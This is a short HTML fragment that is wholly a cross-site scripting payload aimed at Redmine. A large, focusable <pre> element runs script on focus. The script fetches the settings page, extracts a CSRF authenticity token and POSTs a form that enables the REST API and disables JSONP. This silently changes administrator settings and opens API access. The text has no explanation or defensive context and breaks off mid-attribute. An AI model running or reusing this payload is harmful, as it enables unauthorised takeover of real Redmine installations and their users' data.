<pre onfocusin="let xhr=new XMLHttpRequest;xhr.onreadystatechange=function(){if(4===xhr.readyState){doc=document.implementation.createHTMLDocument(''),doc.documentElement.innerHTML=xhr.responseText,value=doc.getElementsByName('authenticity_token');var e=encodeURIComponent(value[3].value);let n=new XMLHttpRequest;var t='utf8=✓&authenticity_token='+e+'&settings[rest_api_enabled]=0&settings[rest_api_enabled]=1&settings[jsonp_enabled]=0&commit=Save';n.open('POST','/redmine/settings/edit?tab=api',!0),n.setRequestHeader('Content-type','application/x-www-form-urlencoded'),n.onreadystatechange=function(){4==n.readyState&&200==n.status&&console.log('Success!')},n.send(t)}},xhr.open('GET','/redmine/settings?tab=api'),xhr.send();" tabindex=1 style='height:1000px;width:1000px;' class=